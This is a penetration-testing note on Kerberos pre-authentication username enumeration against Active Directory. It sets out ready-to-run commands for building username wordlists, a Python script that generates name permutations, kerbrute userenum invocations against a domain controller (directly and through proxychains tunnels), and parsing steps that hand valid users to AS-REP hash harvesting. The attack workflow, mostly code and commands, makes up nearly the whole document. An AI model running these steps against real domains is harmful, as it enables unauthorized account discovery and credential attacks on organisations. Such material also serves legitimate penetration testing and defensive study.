Kerberos Pre-Auth Username Enumeration
How it Works
We can send a request for a TGT --- without a pre-authentication hash --- to the Kerberos Key Distribution Center (KDC) with specific usernames in the request. If the username is valid, the KDC will prompt us for pre-authentication if required, or return a TGT if pre-authentication is not required. If the username is invalid, the KDC will respond with PRINCIPAL UNKNOWN.
Enumeration
Kerbrute
https://github.com/ropnop/kerbrute
Assemble Usernames
Option A) Huge, Sorted and Unique List of Usernames
tr '[:upper:]' '[:lower:]' < /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | sort -u > kerberos_users.txt
Option B) Short, Sorted and Unique List of Usernames
tr '[:upper:]' '[:lower:]' < /usr/share/seclists/Usernames/Names/names.txt | sort -u > kerberos_users.txt
Option C) Shorter, Sorted and Unique List of Usernames
tr '[:upper:]' '[:lower:]' < /usr/share/seclists/Usernames/cirt-default-usernames.txt | sort -u > kerberos_users.txt
Option D) Generate Usernames from First and Last Names
See the comments in the script for username formatting. Default is first.last. f.last, flast, lastf
Python Script (Show / Hide)
#! /usr/bin/env python3
import itertools
import threading
import os
from queue import Queue
male_first = '/usr/share/seclists/Usernames/Names/malenames-usa-top1000.txt'
female_first = '/usr/share/seclists/Usernames/Names/femalenames-usa-top1000.txt'
last_names = '/usr/share/seclists/Usernames/Names/familynames-usa-top1000.txt'
output_file = './kerberos_users.txt'
num_threads = 20
def load_names(file_path):
with open(file_path, 'r') as file:
return [line.strip().lower() for line in file]
def generate_permutations(first_names, last_names, output_queue):
for first, last in itertools.product(first_names, last_names):
"""
Most common naming conventions
Examples:
john.doe
j.doe
jdoe
doej
"""
output_queue.put(f"{first}.{last}")
output_queue.put(f"{first[0]}.{last}")
output_queue.put(f"{first[0]}{last}")
output_queue.put(f"{last}{first[0]}")
"""
Occasionally, some names have a last name that is also a first name or vice versa
Uncomment if you wish to test on these combinations
Examples:
david.james
taylor.james
"""
#output_queue.put(f"{first}.{first}")
#output_queue.put(f"{last}.{last}")
#output_queue.put(f"{last[0]}.{last}")
"""
Uncomment if the naming convention uses underscores
Examples:
john_doe
j_doe
doe_j
"""
#output_queue.put(f"{first}_{last}")
#output_queue.put(f"{first[0]}_{last}")
#output_queue.put(f"{last}_{first}")
def worker(output_queue, results):
"""Process items from the queue and store them."""
while True:
item = output_queue.get()
if item is None:
break
results.add(item) # Already lowercase, directly store
output_queue.task_done()
def main():
first_names = load_names(male_first) + load_names(female_first)
last_names_list = load_names(last_names)
output_queue = Queue()
results = set()
threads = []
for _ in range(num_threads):
t = threading.Thread(target=worker, args=(output_queue, results))
t.start()
threads.append(t)
generate_permutations(first_names, last_names_list, output_queue)
output_queue.join()
for _ in range(num_threads):
output_queue.put(None)
for t in threads:
t.join()
# Ensure output file exists
if not os.path.exists(output_file):
open(output_file, 'w').close()
# Write unique, sorted results to file
with open(output_file, 'w') as f:
for name in sorted(results):
f.write(name + '\n')
if __name__ == "__main__":
main()
Python script to generate a list of username permutations from given word lists
Run Kerbrute
kerbrute userenum -d domain.tld --dc dc-ip-here -t 100 -o kerbrute.log ./kerberos_users.txt
Internal or via ligolo-ng (or similar) layer 3 tunnel
proxychains -q kerbrute userenum -d domain.tld --dc dc-ip-here -t 100 -o kerbrute.log ./kerberos_users.txt
External via SOCKS proxy -- e.g. chisel or ssh
Attempting to find AS-REP hashes
cat kerbrute.log
grep '@' kerbrute.log | awk -v FS=' ' '{print $7}' | cut -d '@' -f 1 > users.txt
cat users.txt
With usernames in users.txt, pass this into Impacket's GetNPUsers script to see if we can harvest AS-REP hashes: https://notes.benheater.com/books/active-directory/page/as-rep-roasting